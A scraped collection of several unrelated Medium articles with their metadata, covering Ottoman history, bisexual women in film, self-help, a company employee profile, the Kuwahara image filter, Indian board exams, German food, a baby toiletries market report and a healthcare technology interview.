The decline of the Ottoman Empire has been attributed to several different factors. Some of these include a growing debt to Western European Empires and increased nationalism within the Empire that led to failed restructuring. These factors opened the door for the Great Empires to exploit the resources and the leaders of the Ottoman Empire for their own gain. However, this was not a colonizing exercise as the Ottoman Empire had been in existence for many centuries. Although there were differences in religious and ideological beliefs between the West and the Ottomans, it does not mean that these are the sole reason for the West to turn towards the Middle East. In this essay, I will explore whether the European colonization of the Ottoman Empire was driven by geopolitical or ideological pursuits, or both. To do this, I will focus on the 19th century when social changes were taking place within the Ottoman Empire and the Western European were on the ascent. It is also to point out that this essay will explore religious ideology in this essay for the period in focus.
The period between the late 18th century to the early 20th century was the rise of the Eastern Question by the Empires of Western Europe as concern mounted for the declining state of the Ottoman Empire. This decline encompassed the military, political and economic power of the Ottoman Empire at time when the British, French and Russian Empires were becoming modern global powerhouses. It is against this background that the reasons for the Western Empires ingress in to the Middle East can be examined.
From a geopolitical viewpoint, it made sense for the West to assist the Ottomans and reduce the rate of decline as it was a valuable source of trade. With Russia’s growing interest in the Mediterranean region, it was also a region that provided a level of safeguard against any territorial gains in to the area. These aspirations led to the Crimean War that saw Britain and France both side with Ottoman. The Crimean War was not only about land but also the protection of the Christians within the Ottoman Empire. Russia had three opportunities during the 19th century to reap rewards from confrontation with the Ottomans but failed on all occasions due to a perceived fear of further Western retaliation. Following the Russian defeat, a new sense of a united Europe emerged and how geographically Europe may look. The Crimean War key to the geopolitical landscape that emerged in the second half of the 19th century as it redefined a certain theoretical view of what Europe was and that all European countries had a clear understanding of their relationship to each other. This geographic question was a relatively new concept for the Muslim world as they had been used to territorial states based on ethnic and regional differences and subject to the ruler who ruled in the name of Islam. This new paradigm also meant that a state that was not part of Christendom was no longer an issue but that they did abide by the rules of modern, or Western, politics. The ongoing tension between Islamic and Western European countries would have existed regardless of religious or ideological opinions as the longue durée of geopolitics in region has and still exists.
The Ottomans were however conscious of maintaining good relationships with the other European Empires as it was crucial in the survival of their state. Unfortunately, the Ottoman Empire lacked the resources and ability to modernize and keep step with the rapid growth in the West. This opened the doors for the European Empires to become intrinsic in all aspects of the Ottoman economy; from trade, mining, transport and communications. The capitulations that were given to foreign merchants further weakened the Ottoman economy and provided the West with more opportunities to exploit the markets in the Middle East and give additional privileges to their proteges within the Empire.
A growing debt to foreign states and losses of territory, Algeria to France and Greek independence, mean that the Ottoman empire was becoming unable to maintain its periphery and generate internal revenues to pay back loans. Through the Council of Ottoman Public Debt Administration, representatives of the West were able to work closely with the government of the Ottoman Empire, furthering their own agendas. This ever-growing presence of the European Empires in multiple aspects of the Ottoman Empire also led to the Western notion of nationalism gaining a foothold which in turn created schisms within the Ottoman Empire that would lead to more issues for the Empire from within.
It would be the end of the First World War that saw the victorious European states eventually dismantle the Ottoman Empire as they sought to pursue their interests in certain geographic locations throughout the Middle East.
To turn now to the question of ideology and whether it was the cause of European colonization within the region. From a modern-day perspective, you could say no as Islam is still the dominant ideology in the region. However, there is some evidence that at one time it was an issue for the region. The Greek War of Independence gives an insight in to some of the ideological differences that had been simmering in the Empires. There was a belief by those in the West that the Greeks had a right to rebel against the Ottomans based on them being Christian and Greece as the birth place of much of Western culture. This led to the Russia, Britain and France all fighting on behalf of the Greeks as the Ottomans were seen as being external to Europe and not connected with the history of Greece. This contrasts with why the Crimean War was fought. Although Christians were at the forefront of the reason for it, it ultimately became a way of stopping Russia gaining territory. European colonialism already had a track record of subjugating Muslim rule in many other parts of the world and resulted in three out of four Muslims living in European Empires by 1900.
There was no doubt an element of racial and moral superiority when it came to the Western Empires and their view of the Ottoman Empire. This superiority manifested itself as the ‘good empire’ being that of the British and Islam being an ideology set on world domination. Even the efforts of the Ottomans through the capitulations was rationalized in the West as their inability to live under Islamic law. The Tanzimat reforms were also an effort by the Ottomans to provide equality to all non-Muslims living in the Empire. This removed any opportunities for the European Empires to ‘save’ any of the Christians from being subjugated. However, as the Middle East was seen as a trading partner and a market for the products from the West and the growing dependence on European debt assistance, the ideological differences moved to the background over the course of the 19th century.
The Ottoman annexation of Yemen in 19th century does highlight that there were concerns within the Empire of the threat to Muslim territory by the British ‘Christian’ colonists as they sought to protect their interests in India and the broader region. Many of the ideological concerns from the West dissipated in the latter half of the 19th century as Ottoman reforms and Western European dominance of the trade and economy of the Middle East took over.
Although there are elements in the European colonization of the Middle East that are ideologically based, these do appear to have been resolved by the end of the Crimean War and the reforms implemented by the Ottomans. Islam never lost its place as the dominant religious ideology in the Middle East even though Christian territories, such as Greece, came in to the European fold. The dominant involvement of the West is predominantly centered on geopolitics. Whether the West was using the Middle East as a buffer against the Russian Empire, exploiting it economically through trade or positioning themselves to take advantage of the impending decline and end of the Empire, foreign policy played a major part in their colonial ambitions. The events that occurred through the course of the 19th century eventually fell in to the hands of the West following the end of the First World War as the victors carved up region. | https://wcoppard.medium.com/the-european-colonization-of-the-middle-east-95c2d12d5a29 | ['Warren Coppard'] | 2020-01-10 06:40:48.596000+00:00 | ['History', 'Middle East', 'Ottoman Empire', 'Colonization'] |
Why are bisexual women depicted as homicidal maniacs? | Why are bisexual women depicted as homicidal maniacs?
From Basic Instinct to Killing Eve
Photo by Sharon McCutcheon on Unsplash
Here are two problematic depictions of the bisexual female: The bisexual murderess from the 80s erotic thriller Basic Instinct, who tried to put an ice pick in the main character’s head. And the psychopathic assassin from recent TV hit Killing Eve, who likes to chop men’s penises off.
Sharon Stone depicted the bisexual sex fiend in Basic Instinct. Remember, that is the movie that she famously flashed her crotch as she crossed her legs and uncrossed them in the police station. She was extremely beautiful, sexy and violent. She was, it turns out, quite out of her mind.
Why else would you be bisexual? I mean, people who are not out of their minds are either straight or gay. If you can’t pick one, you must be cuckoo?
In Killing Eve, Jodie Comer’s character is very sexual, but she confesses to Eve that although she has sex with women, she is “not really with them, if you know what I mean.”
In one scene first one beautiful woman emerges from upstairs as Jodie is talking with Eve. She says “Thank you for the…”
And without missing a beat, Jodie says “Sex? You’re welcome.”
Sandra Oh’s character Eve looks at this hot tamale Jodie Comer who has just had sex with this young model type, and is very impressed. But wait. A minute later another hot model type emerges from upstairs and traipses out. Apparently, it was a kind of group sex thing. Eve, amused, calls out, “Is there anybody else here?”
So a hearty sexual appetite is something intriguing in an assassin. It makes us more curious about her — we are as bemused Eve is because none of us in real life has that hearty a sexual appetite. It’s a fantasy figure.
But what if we are bisexual in real life? I mean, plenty of us date both women and men, and sometimes at the same time. What are we to make of this bemusement, fascination and ultimate indictment of the bisexual female in entertainment?
First of all, I want to be clear, I’m not the type to get offended, so I don’t find it victimizing or discriminatory against my sexuality that it is so often tied in with murder.
Lots of things are tied in with murder. For example, if a murderer in a show turns out to be a Tree Hugging Environmentalist (Thanos for example!) should all environmentalists be offended? Of course not. Movies need villains. Villains need to murder. And murderers have to have jobs, hobbies, and sexualities.
I have no problem with that.
The only thing is, the truth about bisexual women I’ve met is that they are sweet, open, loving and the farthest thing from homicidal maniacs that you could ever imagine. In other words, they are so full of love for their fellow human beings that they simply cannot limit themselves to loving one gender. Rather than homicidal, they are in fact life affirming, giving, and generous.
Where are those bisexual females in popular culture?
It must be pointed out that both these bisexual maniacs were invented by men — screenwriter Joe Eszterhas and novelist Luke Jennings. True, the TV series Killing Eve were penned by women, but the original conception of the bisexual assassin was a male construct.
The idea of femme fatale to begin with was a male idea. The first femme fatale was Eve of course in the garden of Eden. Perhaps not a coincidence that the hit TV show shares that name. Even earlier than Eve, though, is the mysterious Lilith, sometimes depicted as the demon herself who seduced Eve — maybe the earliest act of bisexual evil.
Men have promulgated the myth of the femme fatale from these early Biblical times all the way up to the present for one reason and one reason only — the femme fatale is the enemy of motherhood, which patriarchy considers the rightful role of women. By opposing motherhood, the femme fatale takes the future away from man — his children, his legacy, his immortality. Ironic that she uses sex, as she is the enemy of sexual reproduction. Her sex is depicted as meaningless, albeit mysterious and exciting. It just doesn’t end up in children, and is therefore evil.
Think of that other iconic 80s erotic thriller — Fatal Attraction. It has the word “fatal” in it, and it has a femme fatale played by Glenn Close. She boils a rabbit and then kidnaps Michael Douglas’s child, takes him to an amusement park, and rides the roller coaster with him.
She is the enemy of fatherhood as well.
Yes, it’s all very amusing, but it is must be feared and avoided. Otherwise, your children will die.
The femme fatale is a version of fairy tale evil witches, the one from Snow White or Sleeping Beauty. I guess the bisexual element in those archetypes is the witch’s obsession with the heroine’s physical beauty. Why does it drive them into a murderous rage? Because the female is so lovely. While children interpret it as jealousy of her beauty, it does not take much amateur Freudianism to see it as sublimated lesbian desire.
Girls grow up with this evil feminine archetype, the enemy of motherhood, the enemy of good-girls. We know it’s out there, and we fear it. Maybe that’s why some of us suppress our natural bisexuality — we fear the female. We fear we might meet an evil witch in a lesbian bar and she will destroy our motherhood.
Salome is a great Christian femme fatale archetype. She has an irrational murderous desire — the head of St. John the Baptist. She uses her sexuality to make it come true. In this case, the motherhood she opposes is this “mother’ of the Christian church, the one who baptizes the Christ himself.
There have been times when this evil sexual femme fatale has been redeemed by literature. For example, Marquis De Sade saw the femme fatale as the best of all feminine qualities combined in one!
Catwoman might be considered a more modern attempt to realign the femme fatale with the forces of light.
But it doesn’t happen often.
For the most part, the femme fatale is of the night. In The Magic Flute she is actually called the Queen of the Night by Mozart. (Opera is one of her favorite haunts — femme fatales appear in almost every well known opera).
So why must a bisexual femme fatale chop off men’s penises in Killing Eve and why do we love to watch it?
Well, clearly a bisexual woman castrates the man when she shuns him and dates a girl.
And Freud claimed, all men are afraid of castration, so it must be quite powerful to see a desirable woman who is indulging their lesbian voyeuristic fantasies snap us out of our trance of desire back to reality where they find themselves face to face with their greatest fears — lack of penis, lack of child, lack of motherhood.
I just want to present an alternative voice to this very compelling narrative. I have had bisexual experiences, gone to lesbian bars, and I have not succumbed to any evil witch. Also, when I got home I did not have any desire to chop my boyfriend’s penis off.
What I had were real experiences with real human beings which were much more about intimacy and sharing than about power, darkness or taboo.
There have been movies more honest about bisexuality, for example, Blue is the Warmest Color, of course not made in this country. However, it was also made by a man.
We need female voices to present the bisexual experience as it really is, not as some fairy tale male porn fantasy gone wrong.
We need them now!
Come on bisexual ladies. Speak our truth. | https://medium.com/sexography/why-are-bisexual-women-depicted-as-homicidal-maniacs-9361b87813cd | ['Christine Stevens'] | 2019-06-05 17:34:56.234000+00:00 | ['Relationships', 'Sexuality', 'Bisexual', 'Feminism', 'LGBTQ'] |
My Holiday Wish… | By Craig Adderley from Pexels on canva
Will you join me?
As we are in December, the month that many celebrate Christmas, I’d like to celebrate freedom. Like Christmas in July — which is the month that here in the U.S. we celebrate Independence Day, I’m for celebrating our Freedom in December. Independence in December? Festival of Freedom?
Something like that…
Why? It seems like we are in times when many feel we are losing, or may lose our freedom. How can we? By freeing ourselves of the chatter of our mind.
And the drama in our life. Let’s bring in some peace as we end this year.
With that in mind, I wanted to share a small but extremely powerful book with you. One that I read years ago — which helped me then and continues to help me now.
As tension mounts with uncertainty and as we continue to move through life in the unknown, this book can be beneficial in bringing us peace.
The Four Agreements — A Practical Guide to Personal Freedom, and indeed it is. Written in 1997 by Don Miguel Ruiz, read by me in 2015 as the life I knew came to an end. These agreements helped me create a NEW life.
When you hear these agreements, you might think that they are common sense, and they are. That said, how many of us will find that we are not following — might even find it challenging to follow.
I will admit that I’ve had moments where I forget, it comes so naturally to do just that, but I am at least aware and mindful. I’ll stop, reflect and either offer an apology if needed or at least run through what I would say/do next time.
#1: BE IMPECCABLE WITH YOUR WORD
“Speak with integrity. Say only what you mean. Avoid using the word to speak against yourself or to gossip about others. Use the power of your word in the direction of truth and love.”
Within the chapter on this, Ruiz gives examples showing us the power of words and how it affects others. In one, he writes about the young girl whose mother had a really bad day at work, came home tired and overwhelmed. This mother was kind hearted and loving, but it was an emotional day and she just needed some peace and quiet.
Her daughter, so happy to see her, danced around singing loudly, so much so that it made the mother’s headache worse. Finally the mom snapped and told the daughter she loved so much to “Shut up! You have an ugly voice!” The daughter not understanding the circumstances did just that, she never sang again. And the girl became shy around others.
In that moment, a new agreement was made: The girl now believed that in order to be accepted and loved, she must repress her emotions.
I have shared with you messages from others such as Bruce Lipton and Dee Wallace that our beliefs are developed by the age of 7 as our brains are in the delta mode. Like sponges taking everything in. And how as we grow, those beliefs become limiting beliefs. (correction: theta mode not delta).
In that moment, that girl believed what was just misused words in a moment.
“Impeccability of the word can lead you to personal freedom, to huge success and abundance; it can take away all fear and transform it into joy and love.”
#2: DON’T TAKE ANYTHING PERSONALLY
“Nothing others do is because of you. What others say and do is a projection of their own reality. When you are immune to the opinions and actions of others, you won’t be the victim of needless suffering.”
When someone says something about you or calls you a name, it really is a reflection of how they are feeling about themselves, or have felt about themself. This is also given their model of the world, which is based on their first 7 years.
We live in a world, as Ruiz puts it, “Where humans are addicted to suffering at different levels and to different degrees, and we support each other in maintaining these addictions. If you have the need to be abused, you will find it easy to be abused by others.”
You might think, who needs to be abused? Those that struggle with self worth. And where does a lack of self worth stem from? The first 7 years of our lives and what was modeled to us.
I work with customers in my day job and some can be rude at times. But I realize it’s not about me, they are in fear and are hurting in some way. Makes my job easier to not get caught up in the drama of working with the public.
I love the thought given by another source that when someone points one finger at you — there are three pointing back on them.
You not only live with the knowledge that you can’t control anyone but yourself, but that no one can hurt you. Hurt comes when you place meaning on whatever is said or happening. Things happen, but you cause your own suffering by thinking it should not happen or should happen in another way.
Take back your power, live in the space of freedom and peace following this agreement.
#3: DON’T MAKE ASSUMPTIONS
“Find the courage to ask questions and to express what you really want. Communicate with other as clearly as you can to avoid misunderstandings, sadness and drama.”
We live in a world where we assume and then believe it to be true. We also take things personally and misunderstand and this creates much drama which is not needed.
We only see what we want to see — and hear what we want to hear…
How many of us assume that those closest to us should know what we want or how we think. Just by our actions, we think others know but have we ever communicated our thoughts and feelings?
Have you heard something that you don’t understand and just assume based on your experience what it means or what is needed? We assume that others see life in the same way that we do. And dare I say that we model our life based on our first 7 years of life?
When you assume — you make an ass out of u and me…
I hope you can see the importance of asking questions and being clear in your needs or wants. This will change your relationships with others, whether people close to you are even strangers you are dealing with.
#4: ALWAYS DO YOU BEST
“This agreement allows the other three to become deeply ingrained habits. It’s the action of the first three. Do your best in any circumstance in your life.”
This agreement also speaks about not holding any regrets, self judgement, frustration or guilt in yourself. These agreements are not a one and done — they are a process.
A daily process. And when you slip, as we all do, it’s about the awareness of what you can do or say differently next time. It’s catching yourself and embracing this NEW process.
I’d like to add that this is also about realizing that everyone is doing their best given their model of the world. I love this thought, which I first heard by Neale Donald Walsch.
It has brought me a lot of peace to look at people in this way.
How easy it will be to follow these agreements has everything to do not only with your willingness to change, but how you were raised those first 7 years. Your model of the world. What you learned from your parents, family and the environment at a time when your brain was in that delta state.
My wish is that we spend some time looking to better ourselves. And in doing so, it will bring in a sense of control (as we can only control ourselves) and peace by tapping into our power within.
As you follow these agreements, as Ruiz writes, “This is the mastery of intent, of spirit, of love, of gratitude, and of life. This is the path to personal freedom.”
If you are NEW to me, let me introduce myself:
Please join me on Facebook, for the NEW Minutes with Michele where I do a Monday evening Live based on my published articles. Replays are available.
You can also find me Twitter, LinkedIn, Instagram, YouTube, My Website.
And I encourage you to read the work of my fabulous writer friends: Trista Ainsworth, Gurpreet Dhariwal, Amy Marley, Aurora Eliam, CMP, Kathryn A. LeRoy, Ph.D., Desiree Driesenaar, Selma, Keno Ogbo, Melissa Bee, Dipti Pande, Francine Fallara, Sandra Szubert, Erin King, Karen Madej, Ann K Frailey, Sumera Rizwan, MaryJo Wagner, PhD, Britni Pepper, Chowa Sekai, Ksenia Sein, Alison Tennent, Livia Dabs, Neha Sandhir S, Lanu Pitan, Sherry S, Agnes Louis, Chris Hedges, Paul Myers MBA, P.G. Barnett, Terry Mansfield, Rasheed Hooda, Henery X (long), Timothy Key, Tim Maudlin, Bob Jasper, John Ross, Joe Luca, JeffHerring.com
Always celebrating, Dr Mehmet Yildiz, Founder & Leader of ILLUMINATION
Until next time ~
Sending you light, love — and the power of a book.
Be Well, | https://medium.com/illumination/my-holiday-wish-74870887c807 | ['Michele Thill'] | 2020-12-22 11:06:37.887000+00:00 | ['Consciousness', 'Holidays', 'Conscious Leadership', 'Wellbeing', 'Mindset'] |
Meet Vic Lee | Engineering Project Manager at KeepTruckin | Meet Vic Lee | Engineering Project Manager at KeepTruckin KeepTruckin Follow Jun 16 · 3 min read
It’s not every day you find a coworker that you enjoy working with and spending time with outside of the workplace. But that’s exactly who Vic Lee is. We asked Pearl Lai, General Manager of KeepTruckin’s Taiwan office what sets Vic apart from the rest and she shared “at work, Vic is known for thinking outside of the box and finding different options and solutions for any issue that arises. What makes him an amazing teammate is his follow-through and willingness to drive things to completion. Vic is super easy-going and a joy to work with.”
We sat down with Vic to find out how he keeps things moving at KeepTruckin and so much more. Read on!
What drew you to KeepTruckin?
I am driven by the desire to work with good mentors and firmly believe that good mentors can make or break a career growth trajectory. When I got the call from Olivier and Pearl, to join KT, I knew it would be a great opportunity to work with a smart team and a strong mentor and I agreed without any hesitation.
Can you explain what your role as a Technical Program Manager entails?
I belong to the hardware team and make sure we are able to meet all the deadlines and every other department association with hardware is well-coordinated and in accordance with the standards of procedures. To sum up, I make sure that our hardware projects are well coordinated and run smoothly so that we can meet the deadlines necessary to deliver products to our customers
The KeepTruckin team in Taiwan.
What is your favorite part of an ordinary day at Keeptruckin?
Without any doubt, it’s the people. There are so many coworkers at KeepTruckin that have become friends outside work — people that I can go to for support. One other thing I love is the way our office in Taipei is designed. It is a modern, open space in which I can really find inspiration and enjoy working. Lastly, being a foodie, free snacks and drinks can always make your day!
What have you gained from working at KeepTruckin?
One of the most amazing things I have observed at KeepTruckin is that all supervisors here give you the empowerment you need to succeed. My supervisor Pearl Lai encourages me to make decisions when I am looking after projects and gives me the space I need without micromanaging the process. This has given me confidence that allows me to handle things better and make good decisions.
What advice do you have for prospective candidates?
Do not be afraid to make mistakes, everyone at KeepTruckin is so helpful and will guide you in every step. You don’t have to have all the answers — with the help of coworkers, you will be at KeepTruckin speed in no time. Ask questions and be yourself, everyone will appreciate you for who you are. Always strive for improvement in your work.
Words to live by? Favorite Quote?
You will never know how far you can fly until you spread your wings. Strive not to be a success, but rather to be of value.
Tell us two things most people don’t know about you
My favorite animal is the capybara and I have donated bone marrow before.
Want to work with the team at KeepTruckin? We’re hiring! View open roles here. | https://medium.com/life-at-keeptruckin/meet-vic-lee-engineering-project-manager-at-keeptruckin-785690ee25fe | [] | 2021-06-25 18:51:23.498000+00:00 | ['Employees', 'Engineering'] |
What Is a Kuwahara Filter? | Photo by Joanna Nix-Walkup on Unsplash
The Kuwahara filter can be defined as a non-linear smoothing filter that does not compromise the sharpness of the image or the positions of the edges and is traditionally recognized by this second aspect. A large part of the filters used for image smoothing are low-pass filters that effectively reduce noise but also cause blurring of the edges, unlike Kuwahara which preserves them, this being its great differential.
It is one of the pioneering techniques in image filtering with edge preservation, proposed in 1976 had the primitive purpose of assisting in the processing of RI-angiocardiography images of the cardiovascular system because of the utility in the extraction of characteristics and segmentation due to the preservation already mentioned. It is frequently used in biomedical applications as a first step in the identification of anomalies in noisy images, such as detection of brain tumors through magnetic resonance imaging, and is currently used in artistic imaging and photography due to its ability to remove textures, sharpen the edges and create a painting effect desired by the level of abstraction.
Figure 1: example of RI-angiocardiography image. (Source: Author, 2017).
The process of filtering Kuwahara is basically the division of a pixel grid into four overlapping sub-grids, calculating an average and variance for each one. The output value is defined as the mean of the sub-grid that presents the least variation and this value will be assigned to the central pixel of each region analyzed by the algorithm, and can be used in a wide variety of ways in relation to the division of its grids. A demonstration form is a grid of square order of size ‘J=K=4L + 1’, where: L is an integer; J is the number of rows; K is the number of columns; and 4 is the number of regions. The example below demonstrates such an operation.
Figure 2: example of the process. (Source: Author, 2017).
Math under the hood
Consider a grayscale and a square window centered around a point on the image. This square can be divided into four other parts, being defined by:
Figure 3: the Kuwahara operator (Author: Wikipedia, 2012).
[1]
The pixels located on the borders between two regions belong to both regions resulting in an overlap between the sub-regions.
The arithmetic mean and standard deviation of the four regions centered around an imaging element are calculated and used to determine the value of the central pixel. The filter output, for any point, is given by:
[1]
That is, the central pixel will have the average value in relation to the edges, playing a large role in determining which region will have the largest pattern deviation.
In a case where the image element is located on a dark side of a border, it will probably take the average value of the darkest region. In a case where the pixel is located on the lightest side of the border, it will take the average value of the lightest region. The case where the pixel is located at the end, it will then take the value of the lightest region.
The filter considers the homogeneity of the regions, ensuring that the edges are preserved.
The size of the window is chosen in advance, and may vary with the desired level of layers of the filter at the end of applications. Larger windows usually result in more abstract images and smaller windows produce images that better preserve their details. Usually windows are chosen to produce frames with sides that have an odd number of pixels, due to the symmetry, but this is not a rule, as there may be filter variations, which use rectangular windows. Also, subregions do not need to overlap or be the same size, as long as they cover the whole window.
Examples
ImageJ was used for these examples.
Figure 4: Original image. (Source: Author, 2017). | https://medium.com/swlh/what-is-a-kuwahara-filter-77921ce286f2 | ['Lucas De Brito Silva'] | 2020-11-30 02:29:39.236000+00:00 | ['Image Processing', 'Image', 'Computer Vision', 'Kuwahara', 'Filters'] |
Class 10, 12 board exams in June for this state; here’s what you should know | The board examinations for classes 10 and 12 will be held in June for this state.
The board examinations for classes 10 and 12 will be held in June one after another, West Bengal Education Minister Partha Chatterjee said on Wednesday. The class 10 (Madhyamik) exams will be held first and the class 12 (Ucchya Madhyamik) examinations after that, he said. The exams are usually held between February and March every year.
“We have accepted the recommendations of the West Bengal Board of Secondary Education and the West Bengal Council of Higher Education Education on holding the exams on later dates in view of the pandemic situation,” Chatterjee said. “If the situation changes, the board and council will take decisions accordingly,” he added Union Education Minister Ramesh Pokhriyal ‘Nishank’ had earlier ruled out conducting board examinations till February 2021 in view of the COVID-19 situation. Days after the Centre made a big decision on JEE-Main 2021 exam schedule, Pokhriyal on Tuesday made several major announcements. Pokhriyal took to micro-blogging site Twitter to interact live with teachers.
Speculation has been going rife on the date and schedule expecting Centre to make a major announcement on the Central Board of Secondary Education (CBSE) board exams. The Education Ministry was earlier scheduled to make the announcement on December 17 but it was postponed to December 22, considering the overwhelming responseTaking to Twitter, the Education Ministry said that the board exams will not be held till February. He added that the decision on exam dates will take place later after holding a meeting and discuss this later. On online exams, he said that such methods for exams might not be right. He added that for online exams a laptop, electricity and stable internet for each student is a challenge. | https://medium.com/@leatestnewsupdate24into7/class-10-12-board-exams-in-june-for-this-state-heres-what-you-should-know-fa762e99098c | [] | 2020-12-23 14:48:38.879000+00:00 | ['Books', 'Schools', 'Children', 'Holidays', 'Students'] |
These German Foods Are Just Plainly Weird For Anyone Who’s Not German | The followings are fourteen German foods the rest of the world just doesn’t understand. It’s the wurst.
1. Pommes mit Mayo
Mayo on fries. It’s a thing in Germany. A very popular thing. Another version is mayo and ketchup on fries, which is called “Pommes Schranke” (barrier fries, because of the colors). | https://medium.com/best-of-everyday-food/these-german-foods-are-just-plainly-weird-for-anyone-whos-not-german-f7d80705c71c | ['Patria Taylor'] | 2017-10-12 17:16:00.873000+00:00 | ['Life Lessons', 'Food', 'Recipe', 'Cooking', 'Healthy Eating'] |
COVID-19 Impact on Baby Toiletries Market Size To Reach $9.02 Billion By 2027 | COVID-19 Impact on Baby Toiletries Market Size To Reach $9.02 Billion By 2027 Rajesh Varma Follow Jul 6 · 3 min read
Baby Toiletries Market Growth & Trends
The global baby toiletries market size is expected to reach USD 9.02 billion by 2027, expanding at a CAGR of 6.8% over the forecast period, according to a new report by Grand View Research, Inc. Increasing participation of the women in the globe workforce is one of the key factors driving the market. Working women have become extremely conscious while selecting products for their babies and are among the prominent buyers of baby toiletries. Moreover, increasing job opportunities have enabled women to purchase popular baby care product brands of trustworthy quality irrespective of their price.
Increasing initiatives by the government to curb the shrinking birth rate in countries, such as U.S., U.K., France, Italy, and Japan, will benefit the growth of the market. Based on a report by the Ministry of Health, Labour and Welfare, in 2017, the birth rate for Japan was 7.6 births per 1000 people, a 2.3% decline from 2016. In order to prevent the population from dropping further in the same year, the government announced a USD 18 billion spending package aimed at increasing awareness regarding baby health and hygiene and providing free preschool facilities to children. Rise in the birth rate is expected to surge the demand for baby care toiletries in the market.
Based on product, skin care products are expected to expand at the fastest CAGR of 6.7% from 2020 to 2027. Growing demand for natural skin care products that pose no threat to an infant’s well-being has been driving the segment. Many manufacturers have been focusing on providing skin care products and toiletries, which are free from synthetic chemicals and have natural ingredients, such as honey, extra virgin oil, eclipta, castor seed oil, aloevera, and coconut oil. For instance, in May 2018, Johnson & Johnson announced its plan to re-launch its baby care product line, including baby shampoo and powder. These toiletries are especially designed to be more in step with millennial mothers, who are cautiously looking for baby toiletries that free from parabens, phthalates, and artificial fragrances.
North America emerged as the largest regional market for baby toiletries in 2019 and accounted for a share of 34.6%. Prevalence of established manufacturers such as Procter & Gamble Company, Kimberly-Clark Corporation, and Johnson & Johnson Limited in the region is having a positive impact on the regional market growth. These companies have been consistently investing in research, innovation, and product development to attract consumers due to increase in the demand for chemically clean toiletries in the region.
Asia Pacific is expected to be the fastest growing market with a CAGR of 6.8% from 2020 to 2027. Increasing number of manufacturers venturing in the market owing to high customer demand for baby care products has set the tone for the regional market. For instance, Hipac.cn, a China-based online shopping platform, is focusing on baby and maternal products, such as shampoos, powder, and body lotion. Similarly, Mamaearth, an India-based company founded in 2016, focuses on providing toxin-free and natural skincare and hair care products for babies.
Request a free sample copy or view report summary:
Baby Toiletries Market Report
Baby Toiletries Market Report Highlights | https://medium.com/fmcg-market-research-reports/covid-19-impact-on-baby-toiletries-market-size-to-reach-9-02-billion-by-2027-5659e357d26c | ['Rajesh Varma'] | 2021-07-06 10:46:44.434000+00:00 | ['Baby', 'Baby Toiletries Market'] |
Building The “Unsexy” of Healthcare — Interview with Redesign Health Venture Chair, Missy Krasner | Building The “Unsexy” of Healthcare — Interview with Redesign Health Venture Chair, Missy Krasner Michelle Davey Sep 1·8 min read
Photo credit: Insider
Earlier this year, I kicked off an interview series with leaders in the health tech space. Our industry is so vast and changing so quickly that it’s impossible to be an expert in every area. The goal of this series is to share insights, takeaways, and conversations with those that are raising the bar and building the next generation of healthcare.
I recently had the pleasure of sitting down with a dear friend and advisor Missy Krasner, who currently serves as Venture Chair for Redesign Health. Missy has one of the most impressive resumes in healthcare — including working for the U.S. Department of Health & Human Services (HHS) as Senior Advisor to the first Office of the National Coordinator (ONC) and serving as a founding member for both Google Health and Alexa Health & Wellness at Amazon. She also serves as a board member for four companies focused on delivering care both virtually and in person.
And that’s only a fraction of what she’s accomplished throughout her career.
In her current role at Redesign Health, Missy focuses on building transformative healthcare companies from the ground up. In our conversation, she shares her biggest takeaways about our healthcare system and what she’s been most proud of throughout her career.
Your career has touched almost every piece of the healthcare space, what initially inspired you to start working in healthcare?
During my childhood and undergrad at UCLA, my mom became sick and was diagnosed with multiple sclerosis. She also separated from my dad, who was a practicing physician, which meant she was no longer covered by his practice’s health insurance plan. This was before the Affordable Care Act, and because she had a pre-existing condition, she was rated out of the health insurance system and wasn’t able to get coverage. In other words, she was an MS patient with no health insurance.
Even though my dad is a successful physician (kidney specialist), I had never thought about working in healthcare. I was a Theater and English Literature major during my undergraduate studies. But this family experience completely changed my path, so I switched gears and decided to focus on patient advocacy. I went to graduate school at Stanford University and studied healthcare communications and administration. And from there, I began to learn the healthcare system from the inside out.
You’ve been able to see the healthcare industry through several lenses — first at Atena then at the Kaiser Family Foundation and eventually at Google and then Amazon. You’ve seen how healthcare works at digital health startups, large technology companies, foundations, the government, and in venture capital. How has that shaped your overall perspective on the digital health industry?
Looking back at where I started to where I am today, my take is that if you haven’t worked in the “bowels” of healthcare, you won’t be able to understand the industry as a whole. You won’t be able to understand change management, workflow, and the culture of healthcare.
As healthcare leaders, we tend to gravitate towards wanting to build something sexy. That makes sense, but when it comes down to it, those new shiny products aren’t always easily adopted. I’ve spent a big part of my career developing new solutions at big tech companies, and those innovations have failed. Why? Because healthcare has complicated and opaque buyers, it has regulatory hurdles, and it’s super hard to get those who deliver care to change their everyday work habits and workflows.
All of this has influenced my take on digital health adoption in healthcare. We need to focus on building the “unsexy” in healthcare. The back office stuff like — billing, credentialing, and better clinical documentation — to make our overall system more efficient. And that’s why I’m such a big fan of Wheel — they do just this — they help virtual health companies go faster and provide seamless workflow.
Looking back on your career, which campaign or product or initiative have you been most proud of?
I know that government isn’t the most glamorous industry, but working for the U.S. Department of Health and Human Services (HHS) was a seminal time in my career. It was a very different time in the industry. This was in 2005, pre-ACA, and we were charged with promoting the nationwide adoption of healthcare technology and Electronic Health Records (EHRs). At that time, EHR adoption by physicians in both the ambulatory and acute care environment was about 33 percent. Thanks in part to our work at the inaugural ONC office at HHS and the HITECH Act, which we helped author, the national EHR adoption rate is now at 97 percent.
It was also a very different time in politics, I was able to work on bipartisan legislation that brought real progress towards health IT for the first time. And, of course, the fangirl in me really enjoyed all the key political figures I got to meet and work directly for on both sides of the political aisle.
What is the one thing you wish the general public understood about digital health?
I don’t think people understand the complexity around what it takes to aggregate their personal medical history into a privacy-safe, consumer-centric, and easy-to-use format. Let’s face it, interoperability in healthcare is still a hurdle. We’ve had some incremental progress in the last decade, but we’re still not where we need to be. We still have perverse business incentives for why two competing health systems on two different EHRs would share data, all in the name of better care at the point of care and information arriving just in time to treat the patient.
We don’t think about our medical records until we have to interact with the healthcare system — like getting pregnant or ending up in the hospital due to an acute diagnosis or roadside accident. It’s like your credit report — you only pay attention to it when you have to make a big purchase, like buying a house. All of a sudden it matters and you’re scrambling to make sure you have all the right information in one place.
We haven’t yet answered the question of how to make health records easily accessible and portable. I spent a lot of time in government, at Google, and even at Box and Amazon, trying to work on this problem. Consumers want it but have resigned themselves to having a less than stellar experience interacting with their doctors, insurance companies, and hospitals. They simply anticipate poor service and legacy technology.
Can you tell us more about Redesign Health and how the program works?
